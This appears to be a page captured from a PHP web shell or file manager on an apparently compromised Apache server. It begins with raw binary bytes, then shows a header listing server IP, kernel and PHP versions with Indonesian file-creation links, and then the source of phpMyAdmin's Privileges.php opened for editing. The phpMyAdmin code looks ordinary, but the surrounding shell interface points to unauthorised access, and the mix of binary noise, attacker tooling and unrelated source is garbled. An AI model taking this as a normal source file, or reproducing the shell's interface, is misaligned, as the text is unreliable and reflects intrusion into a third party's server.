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s xdwLn MEMg@<2={ .VȺu2E FH8|K>={NBsۭe7#Iʠ믿^U꫹;xW|~or饗vOٸq#&Sf4H$'[٩3c{!,.ڹKhXC=4lQ^^αcM"dڵ˷ 4l|vZ-TU00 D#?r'l[{<єؼy3<2Yq9X+9&N%%)eFѲ2lbOY#vr%ϥk!cέⴊ <0} ='zZlv.Kf!9 $Jc/h0qLq.pel0R53P$w+3™gk_϶m?}'–-[X|yb&D9V h1Mتj 4!SiIUk.n ))ަP}}=< V5v;/r^;LXHq2"H;V&#׀K!LոBl۶MuW^y%lsmt_FE|f]evTKDHBne]U"笳΢3i/]ͻ^7ʔ_tq"}3i]#KʹH;>ccc|_U]puV/^!LH˥Bj[KZR!Rʔ3b5qypApضm[XBE殗b0 mwKɞ~6a3ZlT.dJ[YRJY1@BtqqB3Π*e;<x*2p%Sy& a6mڔ7'Lsť;SR@7&Of, mkVdkGbU4m{<4A;"{/7n̍d4&qUw`Lm: }ݗP4 yOb[wy'"@ 7-jmUKz_~G7Jb Ν\méU;>V+Um{,ަCGIӱ"dhXKAG}TU{n{<_2_håo|͛7SY95+$"@ `hh2Ig j{ 鵛@*(2T3ׯg|΋\Զw#q@E†nfjkk@@wiD" 'zvp=o굛@RH);F\&hW'r8I#{u21mgfRx7y]C;3kB`6D  #J?oJ[nUVyfO[ 3ouhn(Ti c)q* (6ҵ4ZF?ǤMHYBQ@'L)V>WuE4$~F0~>Owu oqa.7iϿۋLadd1}{GGG]d0Ep)kuXaxXiJL9\bh1&GKdjᰮ~  ?$ QP< + Default page
  • Your IP: 216.73.216.14
  • Server IP: 15.206.10.86
  • Server: Linux ip-172-31-44-180 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
  • Server Software: Apache/2.4.41 (Ubuntu)
  • PHP Version: 7.4.3-4ubuntu2.29
  • Buat File | Buat Folder
Edit File: Privileges.php
'; return array($title, $export); } /** * Get HTML for display Add userfieldset * * @param string $db the database * @param string $table the table name * * @return string html output */ public static function getAddUserHtmlFieldset($db = '', $table = '') { if (!$GLOBALS['is_createuser']) { return ''; } $rel_params = array(); $url_params = array( 'adduser' => 1 ); if (!empty($db)) { $url_params['dbname'] = $rel_params['checkprivsdb'] = $db; } if (!empty($table)) { $url_params['tablename'] = $rel_params['checkprivstable'] = $table; } return Template::get('privileges/add_user_fieldset') ->render( array( 'url_params' => $url_params, 'rel_params' => $rel_params ) ); } /** * Get HTML header for display User's properties * * @param boolean $dbname_is_wildcard whether database name is wildcard or not * @param string $url_dbname url database name that urlencode() string * @param string $dbname database name * @param string $username username * @param string $hostname host name * @param string $entity_name entity (table or routine) name * @param string $entity_type optional, type of entity ('table' or 'routine') * * @return string $html_output */ public static function getHtmlHeaderForUserProperties( $dbname_is_wildcard, $url_dbname, $dbname, $username, $hostname, $entity_name, $entity_type='table' ) { $html_output = '

' . "\n" . Util::getIcon('b_usredit') . __('Edit privileges:') . ' ' . __('User account'); if (! empty($dbname)) { $html_output .= ' \'' . htmlspecialchars($username) . '\'@\'' . htmlspecialchars($hostname) . '\'' . "\n"; $html_output .= ' - '; $html_output .= ($dbname_is_wildcard || is_array($dbname) && count($dbname) > 1) ? __('Databases') : __('Database'); if (! empty($entity_name) && $entity_type === 'table') { $html_output .= ' ' . htmlspecialchars($dbname) . ''; $html_output .= ' - ' . __('Table') . ' ' . htmlspecialchars($entity_name) . ''; } elseif (! empty($entity_name)) { $html_output .= ' ' . htmlspecialchars($dbname) . ''; $html_output .= ' - ' . __('Routine') . ' ' . htmlspecialchars($entity_name) . ''; } else { if (! is_array($dbname)) { $dbname = array($dbname); } $html_output .= ' ' . htmlspecialchars(implode(', ', $dbname)) . ''; } } else { $html_output .= ' \'' . htmlspecialchars($username) . '\'@\'' . htmlspecialchars($hostname) . '\'' . "\n"; } $html_output .= '

' . "\n"; $cur_user = $GLOBALS['dbi']->getCurrentUser(); $user = $username . '@' . $hostname; // Add a short notice for the user // to remind him that he is editing his own privileges if ($user === $cur_user) { $html_output .= Message::notice( __( 'Note: You are attempting to edit privileges of the ' . 'user with which you are currently logged in.' ) )->getDisplay(); } return $html_output; } /** * Get HTML snippet for display user overview page * * @param string $pmaThemeImage a image source link * @param string $text_dir text directory * * @return string $html_output */ public static function getHtmlForUserOverview($pmaThemeImage, $text_dir) { $html_output = '

' . "\n" . Util::getIcon('b_usrlist') . __('User accounts overview') . "\n" . '

' . "\n"; $password_column = 'Password'; $server_type = Util::getServerType(); $serverVersion = $GLOBALS['dbi']->getVersion(); if (($server_type == 'MySQL' || $server_type == 'Percona Server') && $serverVersion >= 50706 ) { $password_column = 'authentication_string'; } // $sql_query is for the initial-filtered, // $sql_query_all is for counting the total no. of users $sql_query = $sql_query_all = 'SELECT *,' . " IF(`" . $password_column . "` = _latin1 '', 'N', 'Y') AS 'Password'" . ' FROM `mysql`.`user`'; $sql_query .= (isset($_GET['initial']) ? self::rangeOfUsers($_GET['initial']) : ''); $sql_query .= ' ORDER BY `User` ASC, `Host` ASC;'; $sql_query_all .= ' ;'; $res = $GLOBALS['dbi']->tryQuery( $sql_query, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); $res_all = $GLOBALS['dbi']->tryQuery( $sql_query_all, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); if (! $res) { // the query failed! This may have two reasons: // - the user does not have enough privileges // - the privilege tables use a structure of an earlier version. // so let's try a more simple query $GLOBALS['dbi']->freeResult($res); $GLOBALS['dbi']->freeResult($res_all); $sql_query = 'SELECT * FROM `mysql`.`user`'; $res = $GLOBALS['dbi']->tryQuery( $sql_query, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); if (! $res) { $html_output .= self::getHtmlForViewUsersError(); $html_output .= self::getAddUserHtmlFieldset(); } else { // This message is hardcoded because I will replace it by // a automatic repair feature soon. $raw = 'Your privilege table structure seems to be older than' . ' this MySQL version!
' . 'Please run the mysql_upgrade command' . ' that should be included in your MySQL server distribution' . ' to solve this problem!'; $html_output .= Message::rawError($raw)->getDisplay(); } $GLOBALS['dbi']->freeResult($res); } else { $db_rights = self::getDbRightsForUserOverview(); // for all initials, even non A-Z $array_initials = array(); foreach ($db_rights as $right) { foreach ($right as $account) { if (empty($account['User']) && $account['Host'] == 'localhost') { $html_output .= Message::notice( __( 'A user account allowing any user from localhost to ' . 'connect is present. This will prevent other users ' . 'from connecting if the host part of their account ' . 'allows a connection from any (%) host.' ) . Util::showMySQLDocu('problems-connecting') )->getDisplay(); break 2; } } } /** * Displays the initials * Also not necessary if there is less than 20 privileges */ if ($GLOBALS['dbi']->numRows($res_all) > 20) { $html_output .= self::getHtmlForInitials($array_initials); } /** * Display the user overview * (if less than 50 users, display them immediately) */ if (isset($_GET['initial']) || isset($_GET['showall']) || $GLOBALS['dbi']->numRows($res) < 50 ) { $html_output .= self::getUsersOverview( $res, $db_rights, $pmaThemeImage, $text_dir ); } else { $html_output .= self::getAddUserHtmlFieldset(); } // end if (display overview) $response = Response::getInstance(); if (! $response->isAjax() || ! empty($_REQUEST['ajax_page_request']) ) { if ($GLOBALS['is_reload_priv']) { $flushnote = new Message( __( 'Note: phpMyAdmin gets the users’ privileges directly ' . 'from MySQL’s privilege tables. The content of these ' . 'tables may differ from the privileges the server uses, ' . 'if they have been changed manually. In this case, ' . 'you should %sreload the privileges%s before you continue.' ), Message::NOTICE ); $flushnote->addParamHtml( '' ); $flushnote->addParamHtml(''); } else { $flushnote = new Message( __( 'Note: phpMyAdmin gets the users’ privileges directly ' . 'from MySQL’s privilege tables. The content of these ' . 'tables may differ from the privileges the server uses, ' . 'if they have been changed manually. In this case, ' . 'the privileges have to be reloaded but currently, you ' . 'don\'t have the RELOAD privilege.' ) . Util::showMySQLDocu( 'privileges-provided', false, 'priv_reload' ), Message::NOTICE ); } $html_output .= $flushnote->getDisplay(); } } return $html_output; } /** * Get HTML snippet for display user properties * * @param boolean $dbname_is_wildcard whether database name is wildcard or not * @param string $url_dbname url database name that urlencode() string * @param string $username username * @param string $hostname host name * @param string $dbname database name * @param string $tablename table name * * @return string $html_output */ public static function getHtmlForUserProperties($dbname_is_wildcard, $url_dbname, $username, $hostname, $dbname, $tablename ) { $html_output = '
'; $html_output .= self::getHtmlHeaderForUserProperties( $dbname_is_wildcard, $url_dbname, $dbname, $username, $hostname, $tablename, 'table' ); $sql = "SELECT '1' FROM `mysql`.`user`" . " WHERE `User` = '" . $GLOBALS['dbi']->escapeString($username) . "'" . " AND `Host` = '" . $GLOBALS['dbi']->escapeString($hostname) . "';"; $user_does_not_exists = (bool) ! $GLOBALS['dbi']->fetchValue($sql); if ($user_does_not_exists) { $html_output .= Message::error( __('The selected user was not found in the privilege table.') )->getDisplay(); $html_output .= self::getHtmlForLoginInformationFields(); } $_params = array( 'username' => $username, 'hostname' => $hostname, ); if (! is_array($dbname) && strlen($dbname) > 0) { $_params['dbname'] = $dbname; if (strlen($tablename) > 0) { $_params['tablename'] = $tablename; } } else { $_params['dbname'] = $dbname; } $html_output .= '' . "\n"; $html_output .= Url::getHiddenInputs($_params); $html_output .= self::getHtmlToDisplayPrivilegesTable( // If $dbname is an array, pass any one db as all have same privs. Core::ifSetOr($dbname, (is_array($dbname)) ? $dbname[0] : '*', 'length'), Core::ifSetOr($tablename, '*', 'length') ); $html_output .= '' . "\n"; if (! is_array($dbname) && strlen($tablename) === 0 && empty($dbname_is_wildcard) ) { // no table name was given, display all table specific rights // but only if $dbname contains no wildcards if (strlen($dbname) === 0) { $html_output .= self::getHtmlForAllTableSpecificRights( $username, $hostname, 'database' ); } else { // unescape wildcards in dbname at table level $unescaped_db = Util::unescapeMysqlWildcards($dbname); $html_output .= self::getHtmlForAllTableSpecificRights( $username, $hostname, 'table', $unescaped_db ); $html_output .= self::getHtmlForAllTableSpecificRights( $username, $hostname, 'routine', $unescaped_db ); } } // Provide a line with links to the relevant database and table if (! is_array($dbname) && strlen($dbname) > 0 && empty($dbname_is_wildcard)) { $html_output .= self::getLinkToDbAndTable($url_dbname, $dbname, $tablename); } if (! is_array($dbname) && strlen($dbname) === 0 && ! $user_does_not_exists) { //change login information $html_output .= ChangePassword::getHtml( 'edit_other', $username, $hostname ); $html_output .= self::getChangeLoginInformationHtmlForm($username, $hostname); } $html_output .= '
'; return $html_output; } /** * Get queries for Table privileges to change or copy user * * @param string $user_host_condition user host condition to * select relevant table privileges * @param array $queries queries array * @param string $username username * @param string $hostname host name * * @return array $queries */ public static function getTablePrivsQueriesForChangeOrCopyUser($user_host_condition, array $queries, $username, $hostname ) { $res = $GLOBALS['dbi']->query( 'SELECT `Db`, `Table_name`, `Table_priv` FROM `mysql`.`tables_priv`' . $user_host_condition, DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); while ($row = $GLOBALS['dbi']->fetchAssoc($res)) { $res2 = $GLOBALS['dbi']->query( 'SELECT `Column_name`, `Column_priv`' . ' FROM `mysql`.`columns_priv`' . ' WHERE `User`' . ' = \'' . $GLOBALS['dbi']->escapeString($_POST['old_username']) . "'" . ' AND `Host`' . ' = \'' . $GLOBALS['dbi']->escapeString($_POST['old_username']) . '\'' . ' AND `Db`' . ' = \'' . $GLOBALS['dbi']->escapeString($row['Db']) . "'" . ' AND `Table_name`' . ' = \'' . $GLOBALS['dbi']->escapeString($row['Table_name']) . "'" . ';', DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); $tmp_privs1 = self::extractPrivInfo($row); $tmp_privs2 = array( 'Select' => array(), 'Insert' => array(), 'Update' => array(), 'References' => array() ); while ($row2 = $GLOBALS['dbi']->fetchAssoc($res2)) { $tmp_array = explode(',', $row2['Column_priv']); if (in_array('Select', $tmp_array)) { $tmp_privs2['Select'][] = $row2['Column_name']; } if (in_array('Insert', $tmp_array)) { $tmp_privs2['Insert'][] = $row2['Column_name']; } if (in_array('Update', $tmp_array)) { $tmp_privs2['Update'][] = $row2['Column_name']; } if (in_array('References', $tmp_array)) { $tmp_privs2['References'][] = $row2['Column_name']; } } if (count($tmp_privs2['Select']) > 0 && ! in_array('SELECT', $tmp_privs1)) { $tmp_privs1[] = 'SELECT (`' . join('`, `', $tmp_privs2['Select']) . '`)'; } if (count($tmp_privs2['Insert']) > 0 && ! in_array('INSERT', $tmp_privs1)) { $tmp_privs1[] = 'INSERT (`' . join('`, `', $tmp_privs2['Insert']) . '`)'; } if (count($tmp_privs2['Update']) > 0 && ! in_array('UPDATE', $tmp_privs1)) { $tmp_privs1[] = 'UPDATE (`' . join('`, `', $tmp_privs2['Update']) . '`)'; } if (count($tmp_privs2['References']) > 0 && ! in_array('REFERENCES', $tmp_privs1) ) { $tmp_privs1[] = 'REFERENCES (`' . join('`, `', $tmp_privs2['References']) . '`)'; } $queries[] = 'GRANT ' . join(', ', $tmp_privs1) . ' ON ' . Util::backquote($row['Db']) . '.' . Util::backquote($row['Table_name']) . ' TO \'' . $GLOBALS['dbi']->escapeString($username) . '\'@\'' . $GLOBALS['dbi']->escapeString($hostname) . '\'' . (in_array('Grant', explode(',', $row['Table_priv'])) ? ' WITH GRANT OPTION;' : ';'); } return $queries; } /** * Get queries for database specific privileges for change or copy user * * @param array $queries queries array with string * @param string $username username * @param string $hostname host name * * @return array $queries */ public static function getDbSpecificPrivsQueriesForChangeOrCopyUser( array $queries, $username, $hostname ) { $user_host_condition = ' WHERE `User`' . ' = \'' . $GLOBALS['dbi']->escapeString($_POST['old_username']) . "'" . ' AND `Host`' . ' = \'' . $GLOBALS['dbi']->escapeString($_POST['old_hostname']) . '\';'; $res = $GLOBALS['dbi']->query( 'SELECT * FROM `mysql`.`db`' . $user_host_condition ); while ($row = $GLOBALS['dbi']->fetchAssoc($res)) { $queries[] = 'GRANT ' . join(', ', self::extractPrivInfo($row)) . ' ON ' . Util::backquote($row['Db']) . '.*' . ' TO \'' . $GLOBALS['dbi']->escapeString($username) . '\'@\'' . $GLOBALS['dbi']->escapeString($hostname) . '\'' . ($row['Grant_priv'] == 'Y' ? ' WITH GRANT OPTION;' : ';'); } $GLOBALS['dbi']->freeResult($res); $queries = self::getTablePrivsQueriesForChangeOrCopyUser( $user_host_condition, $queries, $username, $hostname ); return $queries; } /** * Prepares queries for adding users and * also create database and return query and message * * @param boolean $_error whether user create or not * @param string $real_sql_query SQL query for add a user * @param string $sql_query SQL query to be displayed * @param string $username username * @param string $hostname host name * @param string $dbname database name * @param string $alter_real_sql_query SQL query for ALTER USER * @param string $alter_sql_query SQL query for ALTER USER to be displayed * * @return array $sql_query, $message */ public static function addUserAndCreateDatabase( $_error, $real_sql_query, $sql_query, $username, $hostname, $dbname, $alter_real_sql_query, $alter_sql_query ) { if ($_error || (!empty($real_sql_query) && !$GLOBALS['dbi']->tryQuery($real_sql_query)) ) { $_POST['createdb-1'] = $_POST['createdb-2'] = $_POST['createdb-3'] = null; $message = Message::rawError($GLOBALS['dbi']->getError()); } elseif ($alter_real_sql_query !== '' && !$GLOBALS['dbi']->tryQuery($alter_real_sql_query)) { $_POST['createdb-1'] = $_POST['createdb-2'] = $_POST['createdb-3'] = null; $message = Message::rawError($GLOBALS['dbi']->getError()); } else { $sql_query .= $alter_sql_query; $message = Message::success(__('You have added a new user.')); } if (isset($_POST['createdb-1'])) { // Create database with same name and grant all privileges $q = 'CREATE DATABASE IF NOT EXISTS ' . Util::backquote( $GLOBALS['dbi']->escapeString($username) ) . ';'; $sql_query .= $q; if (! $GLOBALS['dbi']->tryQuery($q)) { $message = Message::rawError($GLOBALS['dbi']->getError()); } /** * Reload the navigation */ $GLOBALS['reload'] = true; $GLOBALS['db'] = $username; $q = 'GRANT ALL PRIVILEGES ON ' . Util::backquote( Util::escapeMysqlWildcards( $GLOBALS['dbi']->escapeString($username) ) ) . '.* TO \'' . $GLOBALS['dbi']->escapeString($username) . '\'@\'' . $GLOBALS['dbi']->escapeString($hostname) . '\';'; $sql_query .= $q; if (! $GLOBALS['dbi']->tryQuery($q)) { $message = Message::rawError($GLOBALS['dbi']->getError()); } } if (isset($_POST['createdb-2'])) { // Grant all privileges on wildcard name (username\_%) $q = 'GRANT ALL PRIVILEGES ON ' . Util::backquote( Util::escapeMysqlWildcards( $GLOBALS['dbi']->escapeString($username) ) . '\_%' ) . '.* TO \'' . $GLOBALS['dbi']->escapeString($username) . '\'@\'' . $GLOBALS['dbi']->escapeString($hostname) . '\';'; $sql_query .= $q; if (! $GLOBALS['dbi']->tryQuery($q)) { $message = Message::rawError($GLOBALS['dbi']->getError()); } } if (isset($_POST['createdb-3'])) { // Grant all privileges on the specified database to the new user $q = 'GRANT ALL PRIVILEGES ON ' . Util::backquote( $GLOBALS['dbi']->escapeString($dbname) ) . '.* TO \'' . $GLOBALS['dbi']->escapeString($username) . '\'@\'' . $GLOBALS['dbi']->escapeString($hostname) . '\';'; $sql_query .= $q; if (! $GLOBALS['dbi']->tryQuery($q)) { $message = Message::rawError($GLOBALS['dbi']->getError()); } } return array($sql_query, $message); } /** * Get the hashed string for password * * @param string $password password * * @return string $hashedPassword */ public static function getHashedPassword($password) { $password = $GLOBALS['dbi']->escapeString($password); $result = $GLOBALS['dbi']->fetchSingleRow( "SELECT PASSWORD('" . $password . "') AS `password`;" ); $hashedPassword = $result['password']; return $hashedPassword; } /** * Check if MariaDB's 'simple_password_check' * OR 'cracklib_password_check' is ACTIVE * * @return boolean if atleast one of the plugins is ACTIVE */ public static function checkIfMariaDBPwdCheckPluginActive() { $serverVersion = $GLOBALS['dbi']->getVersion(); if (!(Util::getServerType() == 'MariaDB' && $serverVersion >= 100002)) { return false; } $result = $GLOBALS['dbi']->tryQuery( 'SHOW PLUGINS SONAME LIKE \'%_password_check%\'' ); /* Plugins are not working, for example directory does not exists */ if ($result === false) { return false; } while ($row = $GLOBALS['dbi']->fetchAssoc($result)) { if ($row['Status'] === 'ACTIVE') { return true; } } return false; } /** * Get SQL queries for Display and Add user * * @param string $username username * @param string $hostname host name * @param string $password password * * @return array ($create_user_real, $create_user_show, $real_sql_query, $sql_query * $password_set_real, $password_set_show, $alter_real_sql_query, $alter_sql_query) */ public static function getSqlQueriesForDisplayAndAddUser($username, $hostname, $password) { $slashedUsername = $GLOBALS['dbi']->escapeString($username); $slashedHostname = $GLOBALS['dbi']->escapeString($hostname); $slashedPassword = $GLOBALS['dbi']->escapeString($password); $serverType = Util::getServerType(); $serverVersion = $GLOBALS['dbi']->getVersion(); $create_user_stmt = sprintf( 'CREATE USER \'%s\'@\'%s\'', $slashedUsername, $slashedHostname ); $isMariaDBPwdPluginActive = self::checkIfMariaDBPwdCheckPluginActive(); // See https://github.com/phpmyadmin/phpmyadmin/pull/11560#issuecomment-147158219 // for details regarding details of syntax usage for various versions // 'IDENTIFIED WITH auth_plugin' // is supported by MySQL 5.5.7+ if (($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 50507 && isset($_POST['authentication_plugin']) ) { $create_user_stmt .= ' IDENTIFIED WITH ' . $_POST['authentication_plugin']; } // 'IDENTIFIED VIA auth_plugin' // is supported by MariaDB 5.2+ if ($serverType == 'MariaDB' && $serverVersion >= 50200 && isset($_POST['authentication_plugin']) && ! $isMariaDBPwdPluginActive ) { $create_user_stmt .= ' IDENTIFIED VIA ' . $_POST['authentication_plugin']; } $create_user_real = $create_user_show = $create_user_stmt; $password_set_stmt = 'SET PASSWORD FOR \'%s\'@\'%s\' = \'%s\''; $password_set_show = sprintf( $password_set_stmt, $slashedUsername, $slashedHostname, '***' ); $sql_query_stmt = sprintf( 'GRANT %s ON *.* TO \'%s\'@\'%s\'', join(', ', self::extractPrivInfo()), $slashedUsername, $slashedHostname ); $real_sql_query = $sql_query = $sql_query_stmt; // Set the proper hashing method if (isset($_POST['authentication_plugin'])) { self::setProperPasswordHashing( $_POST['authentication_plugin'] ); } // Use 'CREATE USER ... WITH ... AS ..' syntax for // newer MySQL versions // and 'CREATE USER ... VIA .. USING ..' syntax for // newer MariaDB versions if ((($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 50706) || ($serverType == 'MariaDB' && $serverVersion >= 50200) ) { $password_set_real = null; // Required for binding '%' with '%s' $create_user_stmt = str_replace( '%', '%%', $create_user_stmt ); // MariaDB uses 'USING' whereas MySQL uses 'AS' // but MariaDB with validation plugin needs cleartext password if ($serverType == 'MariaDB' && ! $isMariaDBPwdPluginActive ) { $create_user_stmt .= ' USING \'%s\''; } elseif ($serverType == 'MariaDB') { $create_user_stmt .= ' IDENTIFIED BY \'%s\''; } elseif (($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 80011) { $create_user_stmt .= ' BY \'%s\''; } else { $create_user_stmt .= ' AS \'%s\''; } if ($_POST['pred_password'] == 'keep') { $create_user_real = sprintf( $create_user_stmt, $slashedPassword ); $create_user_show = sprintf( $create_user_stmt, '***' ); } elseif ($_POST['pred_password'] == 'none') { $create_user_real = sprintf( $create_user_stmt, null ); $create_user_show = sprintf( $create_user_stmt, '***' ); } else { if (! (($serverType == 'MariaDB' && $isMariaDBPwdPluginActive) || ($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 80011)) { $hashedPassword = self::getHashedPassword($_POST['pma_pw']); } else { // MariaDB with validation plugin needs cleartext password $hashedPassword = $_POST['pma_pw']; } $create_user_real = sprintf( $create_user_stmt, $hashedPassword ); $create_user_show = sprintf( $create_user_stmt, '***' ); } } else { // Use 'SET PASSWORD' syntax for pre-5.7.6 MySQL versions // and pre-5.2.0 MariaDB versions if ($_POST['pred_password'] == 'keep') { $password_set_real = sprintf( $password_set_stmt, $slashedUsername, $slashedHostname, $slashedPassword ); } elseif ($_POST['pred_password'] == 'none') { $password_set_real = sprintf( $password_set_stmt, $slashedUsername, $slashedHostname, null ); } else { $hashedPassword = self::getHashedPassword($_POST['pma_pw']); $password_set_real = sprintf( $password_set_stmt, $slashedUsername, $slashedHostname, $hashedPassword ); } } $alter_real_sql_query = ''; $alter_sql_query = ''; if (($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 80011) { $sql_query_stmt = ''; if ((isset($_POST['Grant_priv']) && $_POST['Grant_priv'] == 'Y') || (isset($GLOBALS['Grant_priv']) && $GLOBALS['Grant_priv'] == 'Y') ) { $sql_query_stmt = ' WITH GRANT OPTION'; } $real_sql_query .= $sql_query_stmt; $sql_query .= $sql_query_stmt; $alter_sql_query_stmt = sprintf( 'ALTER USER \'%s\'@\'%s\'', $slashedUsername, $slashedHostname ); $alter_real_sql_query = $alter_sql_query_stmt; $alter_sql_query = $alter_sql_query_stmt; } // add REQUIRE clause $require_clause = self::getRequireClause(); $with_clause = self::getWithClauseForAddUserAndUpdatePrivs(); if (($serverType == 'MySQL' || $serverType == 'Percona Server') && $serverVersion >= 80011) { $alter_real_sql_query .= $require_clause; $alter_sql_query .= $require_clause; $alter_real_sql_query .= $with_clause; $alter_sql_query .= $with_clause; } else { $real_sql_query .= $require_clause; $sql_query .= $require_clause; $real_sql_query .= $with_clause; $sql_query .= $with_clause; } if (isset($create_user_real)) { $create_user_real .= ';'; $create_user_show .= ';'; } if ($alter_real_sql_query !== '') { $alter_real_sql_query .= ';'; $alter_sql_query .= ';'; } $real_sql_query .= ';'; $sql_query .= ';'; // No Global GRANT_OPTION privilege if (!$GLOBALS['is_grantuser']) { $real_sql_query = ''; $sql_query = ''; } // Use 'SET PASSWORD' for pre-5.7.6 MySQL versions // and pre-5.2.0 MariaDB if (($serverType == 'MySQL' && $serverVersion >= 50706) || ($serverType == 'MariaDB' && $serverVersion >= 50200) ) { $password_set_real = null; $password_set_show = null; } else { if ($password_set_real !== null) { $password_set_real .= ";"; } $password_set_show .= ";"; } return array( $create_user_real, $create_user_show, $real_sql_query, $sql_query, $password_set_real, $password_set_show, $alter_real_sql_query, $alter_sql_query ); } /** * Returns the type ('PROCEDURE' or 'FUNCTION') of the routine * * @param string $dbname database * @param string $routineName routine * * @return string type */ public static function getRoutineType($dbname, $routineName) { $routineData = $GLOBALS['dbi']->getRoutines($dbname); foreach ($routineData as $routine) { if ($routine['name'] === $routineName) { return $routine['type']; } } return ''; } }